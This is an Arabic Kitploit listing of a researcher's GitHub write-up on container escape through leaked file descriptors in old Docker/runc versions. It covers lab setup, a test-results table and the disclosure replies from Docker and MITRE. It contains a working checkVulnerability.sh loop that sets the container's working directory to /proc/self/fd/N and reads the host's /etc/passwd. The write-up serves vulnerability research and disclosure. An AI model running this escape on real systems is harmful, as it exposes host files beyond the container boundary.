Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/sk3pper/cve-2024-21626-old-docker-versions
أمن الحاوياتتحليل الثغرات الأمنيةالاستغلالالتعلم والتعليمالهروب من الحاويةمختبرات وتدريب عملي
GitHubsk3pper/cve-2024-21626-old-docker-versions

CVE-2024-21626-old-docker-versions

يحلل ويستغل ثغرة الهروب من الحاوية في إصدارات Docker/runc القديمة، مما يوضح تسرب واصفات الملفات للوصول إلى نظام ملفات المضيف، مع سكربتات الإعداد والاختبار.

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
عرض المستودع
7منذ سنة واحدةلم تتم المراجعة بعد

ثغرة الهروب من الحاويات في مكونات runc القديمة (CVE-2024-21626)

أثناء تحليلي لـ CVE-2024-21626 وجدت أن مكونات docker القديمة الأخرى معرّضة لخطر تسريب واصفات الملفات (fd leakage) (وهو أمر غير مذكور في النشرة الأمنية GHSA-xr7r-f8xq-vfvv). اقرأ مقالتي الكاملة للشرح المفصّل هنا.

1. إعداد البيئة 🔨

أ. تنزيل وتثبيت إصدار Ubuntu 18.04.6 LTS (Bionic Beaver)

أثناء التثبيت، لا تقم بتحديد مربع الاختيار الخاص بتنزيل تحديثات النظام.

ب. تثبيت إصدار docker المُعرَّض للخطر والمكونات ذات الصلة

  • انتقل إلى https://download.docker.com/linux/static/stable/x86_64/ وقم بتنزيل الإصدار القديم docker-X.Y.Z-ce.tgz للاختبار

  • قم بفك ضغطه، وانسخ المحتوى إلى المسار /usr/bin وقم بتشغيل Docker daemon.

    root@kitploit:~
    cd Downloads/
    tar xzvf <docker-X.Y.Z-ce.tgz>
    sudo cp docker/* /usr/bin/
    sudo dockerd &
    

ج. تحقق من الإصدارات المثبّتة

root@kitploit:~
sudo docker version
containerd --version
uname -r

في الإصدارات القديمة لدينا docker-runc بدلاً من runc. لذلك تحقق منه:

root@kitploit:~
ls -la /usr/bin | grep docker
    -rwxr-xr-x  1 root root    14128576 mar 19 10:54 docker
    -rwxr-xr-x  1 root root     8932648 mar 19 10:54 docker-containerd
    -rwxr-xr-x  1 root root     8381448 mar 19 10:54 docker-containerd-ctr
    -rwxr-xr-x  1 root root     3047368 mar 19 10:54 docker-containerd-shim
    -rwxr-xr-x  1 root root    39989264 mar 19 10:54 dockerd
    -rwxr-xr-x  1 root root      772400 mar 19 10:54 docker-init
    -rwxr-xr-x  1 root root     2534781 mar 19 10:54 docker-proxy
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc

ls -la /usr/bin| grep runc
    -rwxr-xr-x  1 root root       10232 mar 18  2018 bdftruncate
    -rwxr-xr-x  1 root root     7092608 mar 19 10:54 docker-runc
    -rwxr-xr-x  1 root root       35000 gen 18  2018 runcon
    -rwxr-xr-x  1 root root       39096 gen 18  2018 truncate

تحقق من إصدار doker-runc/runc

root@kitploit:~
runc --version
docker-runc -v

2. تحقق مما إذا كان الهدف معرّضًا للخطر واعثر على واصف الملف الصحيح 🧐

شغّل checkVulnerability.sh ولاحظ ما إذا كان الملف يُطبع في الطرفية

root@kitploit:~
# checkVulnerability.sh
#! /bin/bash
for i in {4..20}; do
    sudo docker run -it --rm -w /proc/self/fd/$i alpine:3.14.3 sh -c "tail /proc/self/cwd/../../../etc/passwd"
    echo ""
done
root@kitploit:~
# clone CVE-2024-21626-old-docker-versions repository
git clone [email protected]:Sk3pper/CVE-2024-21626-old-docker-versions.git

# run checkVulnerability.sh
chmod +x checkVulnerability.sh
./checkVulnerability.sh

في هذا المثال استخدمت إصدار docker-17.03.1-ce. check vulnerability & find fd

3. جرّب الاستغلال 🔫

في هذا المثال استخدمت إصدار docker-17.03.1-ce.

exploit

4. نتائج الاختبارات 🧪

فيما يلي نتائج تحليلي، مرتبة حسب إصدار Docker وإصدار runc المرتبط به.

docker-runc

runc

إصدار Dockerإصدار runcرقم واصف الملف المسرَّب
docker-18.09.0.tgz1.0.0-rc5+dev❌

هذه لقطة شاشة تُظهر الإصدارات الثلاثة المختلفة المعرّضة للخطر.

1.0.0-rc21.0.0-rc31.0.0-rc4+dev
1.0.0-rc21.0.0-rc31.0.0-rc4

وكما هو الحال مع CVE-2024-21626، لا تزال الأنواع المختلفة من الهجمات ممكنة.

5. الخلاصة والدروس المستفادة 🔚

تختلف هذه الثغرة اختلافًا كبيرًا عن CVE-2024-21626 لأن:

  1. يمكن استغلالها في إصدارات Linux الأقدم التي تفتقر إلى استدعاء النظام openat2.
  2. يقع واصف الملف المسرَّب في المسار /run/runc/<container>/، الذي يحتوي على حالة الحاويات قيد التشغيل، بدلاً من دليل /sys/fs/cgroup الخاص بالمضيف.

ما اكتشفته هو أن الإصدارات الأقدم معرّضة أيضًا لنفس تقنية الهجوم. وعلى الرغم من أن الثغرة نفسها تختلف، فإن النتيجة واحدة: الوصول إلى نظام ملفات المضيف. الدرس الأساسي هو عدم الاعتماد حصريًا على النشرات الأمنية - اختبر كل شيء بدقة. افهم CVE وكيف يعمل بشكل كامل، وجرّبه في بيئة آمنة، واستكشف الحالات الحدّية.

6. الإفصاح المسؤول 🕺🏻

حاولت التواصل مع [email protected] و[email protected]، وحاولت فتح CVE. تلقيت الردود التالية:

تنزيل الأداة
إصدار Dockerإصدار docker-runcرقم واصف الملف المسرَّب
docker-17.03.1-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.03.2-ce.tgz1.0.0-rc2/proc/self/fd/4
docker-17.06.0-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.1-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.06.2-ce.tgz1.0.0-rc3/proc/self/fd/5
docker-17.09.0-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.09.1-ce.tgz1.0.0-rc4+dev/proc/self/fd/5
docker-17.12.0-ce.tgz1.0.0-rc4+dev❌
docker-17.12.1-ce.tgz1.0.0-rc4+dev❌
docker-18.03.0-ce.tgz❌
docker-18.06.3-ce.tgz1.0.0-rc5+dev❌
الطلبالرد
[email protected] (19/03/24)الإصدارات التي أدرجتها كلها إصدارات EOL من البرنامج (تبلغ من العمر ~7 سنوات) ولم تعد مدعومة أو مُحدثة من قِبل Docker. إذا كانت لديك مخاوف بشأن الإصدارات أو الصياغة المدرجة في النشرة GHSA-xr7r-f8xq-vfvv الحالية ("الإصدارات المتأثرة: >= 1.0.0-rc93, <= 1.1.11")، فإن القناة الصحيحة للإبلاغ عنها هي البريد الأمني لمنظمة OCI: https://github.com/opencontainers/.github/blob/main/SECURITY.md شكرًا لتواصلك معنا. أخبرنا إذا كان هناك أي شيء آخر يمكننا القيام به
[email protected] (20/03/24)لا يوجد رد
CVE-MITRE (15/05/2024)عادةً لا نخصص معرّفات CVE للمشكلات الموجودة فقط في الإصدارات المرشحة (release candidates). https://www.cve.org/CVERecord?id=CVE-2024-21626 كان قد أثر على الإصدارات المنشورة من runc، مثل الإصدار 1.1.11.